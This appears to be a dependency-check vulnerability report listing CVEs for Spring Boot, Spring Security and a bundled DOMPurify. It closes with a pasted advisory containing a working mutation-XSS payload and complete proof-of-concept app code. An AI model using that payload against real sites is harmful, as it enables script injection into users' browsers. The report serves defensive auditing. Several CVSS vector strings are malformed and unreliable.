File Path: C:\Users\Lucas Donizeti\m2repository\org\springframework\boot\spring-boot-web-server\4.0.3\spring-boot-web-server-4.0.3.jar

MD5: dfd2c1275480226d8a262edf5bfe19e2

SHA1: ed321647244629861a510d7df598d28689b2aa36

SHA256: ec086c66112d255a028988c125f5a7ef31547b7f594b111a920b86f4c62b45cf

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-web@4.0.3

Evidence

Related Dependencies

Identifiers

- pkg:maven/org.springframework.boot/spring-boot-web-server@4.0.3 (*Confidence:High*)
- [cpe:2.3:a:vmware:spring_boot:4.0.3:*:*:*:*](#) (*Confidence:Highest*) suppress

Published Vulnerabilities

[CVE-2026-40976](#) suppress

In certain circumstances, Spring Boot's default web security is ineffective allowing unauthorized access to all endpoints. For an application to be vulnerable, it must: be a servlet-based web application; have no Spring Security configuration of its own and rely on the default web security filter chain; depend on spring-boot-actuator-autoconfigure; not depend on spring-boot-health. If any of the above does not apply, the application is not vulnerable.

Affected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory.

CWE-862 Missing Authorization

CVSSv3:

- Base Score: CRITICAL (9.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)

CVE-2026-22731 suppress

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under a specific path, already configured for a Health Group additional path.

This issue affects Spring Boot: from 4.0 before 4.0.3, from 3.5 before 3.5.11, from 3.4 before 3.4.15.

This CVE is similar but not equivalent to CVE-2026-22733, as the conditions for exploit and vulnerable versions are different.

CWE-306 Missing Authentication for Critical Function, CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)

• ...

CVE-2026-22733 suppress

Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under the path used by the CloudFoundry Actuator endpoints. This issue affects Spring Security: from 4.0.0 through 4.0.3, from 3.5.0 through 3.5.11, from 3.4.0 through 3.4.14, from 3.3.0 through 3.3.17, from 2.7.0 through 2.7.31.

CWE-288 Authentication Bypass Using an Alternate Path or Channel

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.4](#)

• ...

CVE-2026-40972 suppress

An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading changed classes, thereby achieving remote code execution in the remote application.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); DevTools remote secret comparison. Versions that are no longer supported are also affected per vendor advisory.

CWE-208 Observable Timing Discrepancy

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:1.6/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)

• ...

CVE-2026-40975 suppress

Values produced by `$(random.value)` are not suitable for use as secrets. `$(random.uuid)` is not affected. `$(random.int)` and `$(random.long)` should never be used for secrets as they are numeric values with a predictable range.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); random value property source / weak PRNG for secrets. Versions that are no longer supported are also affected per vendor advisory.

CWE-330 Use of Insufficiently Random Values

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)

• ...

CVE-2026-40973 suppress

A local attacker on the same host as the application may be able to take control of the directory used by 'ApplicationTemp'. When 'server.servlet.session.persistent' is set to 'true' and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / 'ApplicationTemp' ownership verification. Versions that are no longer supported are also affected per vendor advisory.

CWE-377 Insecure Temporary File

CVSSv3:

- Base Score: HIGH (7.0)
- Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:1.0/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

[CVE-2026-40977](#) suppress

When an application is configured to use 'ApplicationPidFileWriter', a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior ('ApplicationPidFileWriter'). Versions that are no longer supported are also affected per vendor advisory.

CWE-59 Improper Link Resolution Before File Access ('Link Following')

CVSSv3:

- Base Score: MEDIUM (6.7)
- Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:0.8/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_boot:*:*:*:*:* versions from \(including\) 4.0.0: versions up to \(excluding\) 4.0.6](#)
- ...

spring-core-7.0.5.jar

Description:

Spring Core

License:

Apache License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0>

File Path: C:\Users\Lucas Donizeti\m2\repository\org\springframework\spring-core\7.0.5\spring-core-7.0.5.jar

MD5: 986d6797bc2c5d4bd647382041290cc8

SHA1: 186a59c9647b6a87e9c5ca8a862b8ac478e9ea14

SHA256: 768c7a3333dda332028b20ad925c2fdd3c89efad7a1daab65eb2beb762e3bc3e

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-test@4.0.3

Evidence

Related Dependencies

Identifiers

- pkg:maven/org.springframework/spring-core@7.0.5 (Confidence:High)
- [cpe:2.3:a:pivotal_software:spring_framework:7.0.5:*:*:*:* \(Confidence:Highest\)](#) suppress
- [cpe:2.3:a:springsource:spring_framework:7.0.5:*:*:*:* \(Confidence:Highest\)](#) suppress
- [cpe:2.3:a:vmware:spring_framework:7.0.5:*:*:*:* \(Confidence:Highest\)](#) suppress

Published Vulnerabilities

[CVE-2026-22737](#) suppress

Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- Base Score: MEDIUM (5.9)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_framework:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.6](#)
- ...

[CVE-2026-22735](#) suppress

Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

CWE-667 Improper Locking

CVSSv3:

- Base Score: LOW (2.6)
- Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N/E:1.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_framework:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.6](#)
- ...

spring-security-core-7.0.3.jar

Description:

Spring Security

License:

Apache License, Version 2.0: <https://www.apache.org/licenses/LICENSE-2.0>

File Path: C:\Users\Lucas Donizeti\m2\repository\org\springframework\security\spring-security-core\7.0.3\spring-security-core-7.0.3.jar

MD5: 18a56e0ca8582278ccb472b3e9a94815

SHA1: e33b3954cc47da3b99c289882d4671bed4434fbc

SHA256: 4bd588eece728cf4d1f5920248ff9e193ad88a00c6e315423ab73e52b43a3a9

Referenced In Project/Scope: oficina.compile

Included by: pkg:maven/org.springframework.security/spring-security-test@7.0.3

Evidence

Related Dependencies

Identifiers

- pkg:maven/org.springframework.security/spring-security-core@7.0.3 (Confidence:High)
- [cpe:2.3:a:pivotal_software:spring_security:7.0.3:*:*:*:*:*](#) (Confidence:Highest) suppress
- [cpe:2.3:a:vmware:spring_security:7.0.3:*:*:*:*:*](#) (Confidence:Highest) suppress

Published Vulnerabilities

[CVE-2026-22732](#) suppress

When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written. This issue affects Spring Security Servlet applications using lazy (default) writing of HTTP Headers:

: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.

CWE-425 Direct Request ('Forced Browsing')

CVSSv3:

- Base Score: CRITICAL (9.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [EXPLOIT.VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.4](#)
- ...

[CVE-2026-22747](#) suppress

Vulnerability in Spring Spring Security. SubjectX500PrincipalExtractor does not correctly handle certain malformed X.509 certificate CN values, which can lead to reading the wrong value for the username. In a carefully crafted certificate, this can lead to an attacker impersonating another user. This issue affects Spring Security: from 7.0.0 through 7.0.4.

CWE-297 Improper Validation of Certificate with Host Mismatch

CVSSv3:

- Base Score: HIGH (8.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:2.8/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)

[CVE-2026-22753](#) suppress

Vulnerability in Spring Spring Security. If an application is using securityMatchers(String) and a PathPatternRequestMatcher.Builder bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests. This issue affects Spring Security: from 7.0.0 through 7.0.4.

CWE-693 Protection Mechanism Failure

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [MITIGATION.VENDOR.ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)

[CVE-2026-22754](#)

Vulnerability in Spring Spring Security. If an application uses <sec:intercept-url servlet-path="/servlet-path" pattern="/endpoint/"/> to define the servlet path for computing a path matcher, then the servlet path is not included and the related authorization rules are not exercised. This can lead to an authorization bypass. This issue affects Spring Security: from 7.0.0 through 7.0.4.

CWE-284 Improper Access Control

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- security@vmware.com - [MITIGATION.VENDOR.ADVISORY](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)

[CVE-2026-22748](#)

Vulnerability in Spring Spring Security. When an application configures JWT decoding with NimbusJwtDecoder or NimbusReactiveJwtDecoder, it must configure an OAuth2TokenValidator<Jwt> separately, for example by calling setJwtValidator. This issue affects Spring Security: from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

CWE-20 Improper Input Validation

CVSSv3:

- Base Score: MEDIUM (6.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:2.8/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR.ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)
- ...

[CVE-2026-22751](#)

Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition

CVSSv3:

- Base Score: MEDIUM (4.8)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR.ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)
- ...

[CVE-2026-22746](#)

Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked. This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

CWE-208 Observable Timing Discrepancy

CVSSv3:

- Base Score: LOW (3.7)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:2.2/RC:R/MAV:A

References:

- security@vmware.com - [VENDOR.ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:vmware:spring_security:*:*:*:*:* versions from \(including\) 7.0.0: versions up to \(excluding\) 7.0.5](#)
- ...

swagger-ui-5.18.2.jar: swagger-ui-bundle.js

File Path: C:\Users\Lucas Donizeti\m2\repository\org\webjars\swagger-ui\5.18.2\swagger-ui-5.18.2.jar\META-INF\resources\webjars\swagger-ui\5.18.2\swagger-ui-bundle.js
MD5: 6c23777357d2beae9650f9aa035d93fb
SHA1: 2dd4a527cd144d3bd46fd8c9bacf0d0d8cf37970

SHA256:c50b94bbc4f02394326fb7aed1f4fb693b3677f4b3d3344e0d6131808cbf281f
Referenced In Project/Scope: oficina:compile

Evidence

Identifiers

- pkg:javascript/DOMPurify@3.1.6 (Confidence: Highest)

Published Vulnerabilities

[CVE-2025-26791](#) suppress

DOMPurify before 3.2.4 has an incorrect template literal regular expression, sometimes leading to mutation cross-site scripting (mXSS).

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- cve@mitre.org - [PATCH](#)
- cve@mitre.org - [RELEASE_NOTES](#)
- info - <https://ensy.zip/posts/dompurify-323-bypass>
- info - <https://github.com/advisories/GHSA-vhxf-7vqr-mrjg>
- info - <https://github.com/cure53/DOMPurify>
- info - <https://github.com/cure53/DOMPurify/commit/d18fcb554e0001748865da03ac75dd7829f0f02>
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.2.4>
- info - <https://nysyean.github.io/posts/dompurify-323-bypass>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-26791>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.2.4

[CVE-2026-41240](#) suppress

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-183 Permissive List of Allowed Inputs

CVSSv4:

- Base Score: MEDIUM (6.0)
- Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSA

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT_MITIGATION_PATCH_VENDOR_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT_MITIGATION_PATCH_VENDOR_ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT_RELEASE_NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.4.0

[CVE-2026-0540](#) suppress

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:

- Base Score: MEDIUM (5.3)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)
- help@fluidattacks.com - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (including) 3.3.1

CVE-2025-15599 suppress

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:

- Base Score: MEDIUM (5.1)
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSA:

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/L/I:A/N/E:2.8/RC:R/MAV:A

References:

- disclosure@vulncheck.com - [PATCH](#)
- disclosure@vulncheck.com - [PRODUCT](#)
- disclosure@vulncheck.com - [THIRD PARTY ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (excluding) 3.2.7

Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using 'innerHTML' and special wrappers. The vulnerable wrappers confirmed in browser behavior are 'script', 'xmp', 'iframe', 'noembed', 'noframes', and 'noscript'. The payload remains seemingly benign after 'DOMPurify.sanitize()', but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client ('alert(1)' in the PoC). **## Vulnerability** The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, '<xmp> ... </xmp>' or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example '<xmp>' or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup ('') outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). **## PoC 1.** Start the PoC app: `bash npm install npm start` 2. Open 'http://localhost:3001'. 3. Set 'Wrapper en sink' to 'xmp'. 4. Use payload: `html <img src=x alt=<xmp><img src=x onerror=alert('expoc')>>` 5. Click 'Sanitize + Render'. 6. Observe: 'Sanitized response' still contains the '<xmp>' sequence inside 'alt'. - The sink reparses to include ''. - 'alert('expoc')' is triggered. 7. Files: - index.html `html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } .pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script>></textarea> <div class="row" style="margin-top: 10px;"> <div class="label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script">script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display: flex; align-items: end;"> <button id="run" type="button">Sanitize + Render</button> </div> <div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<img src=x alt="</script>' + sanitized + '<img src=x alt="</script>';</code></p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> <main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>'; }); </script> </body> </html> --- server.js --- const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log('expoc running at http://localhost:3001'); }); --- package.json --- { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.1.1", "express": "^5.2.1", "jsdom": "^28.1.0" } } --- ## Evidence - PoC (daft-video.webm) (https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered --- ## 